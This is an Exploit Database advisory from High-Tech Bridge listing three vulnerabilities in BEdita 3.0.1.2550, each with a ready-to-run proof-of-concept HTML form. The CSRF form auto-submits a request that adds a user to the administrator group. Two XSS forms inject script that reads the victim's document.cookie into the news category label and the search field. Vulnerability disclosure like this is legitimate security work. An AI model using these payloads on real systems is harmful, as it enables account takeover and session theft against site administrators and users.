BEdita 3.0.1.2550 – Multiple Vulnerabilities

• Exploit Database
• 15 阅读

• 作者： High-Tech Bridge SA
  日期： 2010-12-15
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/15742/

• Vulnerability ID: HTB22729
  Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_bedita.html
  Product: BEdita
  Vendor: Chialab & ChannelWeb ( http://www.bedita.com/ ) 
  Vulnerable Version: 3.0.1.2550 "betula" and probably prior versions
  Vendor Notification: 30 November 2010 
  Vulnerability Type: CSRF (Cross-Site Request Forgery)
  Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
  Risk level: Low 
  Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 
  
  CSRF:
  Vulnerability Details:
  The vulnerability exists due to failure in the "bedita-app/controllers/modules/admin_controller.php" script to properly verify the source of HTTP request.
  
  Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
  
  Attacker can use browser to exploit this vulnerability. The following PoC is available:
  
  <form action="http://host/bedita-app/admin/saveUser" method="post" name="main">
  
  <input type="hidden" name="data[User][id]" value="2">
  <input type="hidden" name="data[User][userid]" value="tester">
  <input type="hidden" name="data[User][realname]" value="tester">
  <input type="hidden" name="data[User][email]" value="email@example.com">
  <input type="hidden" name="pwd" value="">
  <input type="hidden" name="data[User][passwd]" value="">
  <input type="hidden" name="data[User][valid]" value="1">
  <input type="hidden" name="groups" value="">
  <input type="hidden" name="data[groups][administrator]" value="on">
  <input type="hidden" name="data[groups][guest]" value="on">
  </form>
  <script>
  document.main.submit();
  </script>
  
  Stored XSS:
  Vulnerability Details:
  User can execute arbitrary JavaScript code within the vulnerable application.
  
  The vulnerability exists due to failure in the "bedita-app/controllers/modules/news_controller.php" script to properly sanitize user-supplied input in "data[label]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
  
  An attacker can use browser to exploit this vulnerability. The following PoC is available:
  
  <form action="http://host/bedita-app/news/saveCategories" method="post" name="main">
  <input type="hidden" name="data[label]" value='cat"><script>alert(document.cookie)</script>'>
  <input type="hidden" name="data[status]" value="on">
  <input type="hidden" name="data[area_id]" value="">
  <input type="hidden" name="data[object_type_id]" value="18">
  </form>
  <script>
  document.main.submit();
  </script>
  
  XSS:
  Vulnerability Details:
  User can execute arbitrary JavaScript code within the vulnerable application.
  
  The vulnerability exists due to failure in the "bedita-app/controllers/home_controller.php" script to properly sanitize user-supplied input in "searchstring" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
  
  An attacker can use browser to exploit this vulnerability. The following PoC is available:
  
  <form action="http://host/bedita-app/news/index" method="post" name="main">
  <input type="hidden" name="searchstring" value='search"><script>alert(document.cookie)</script>'>
  </form>
  <script>
  document.main.submit();
  </script>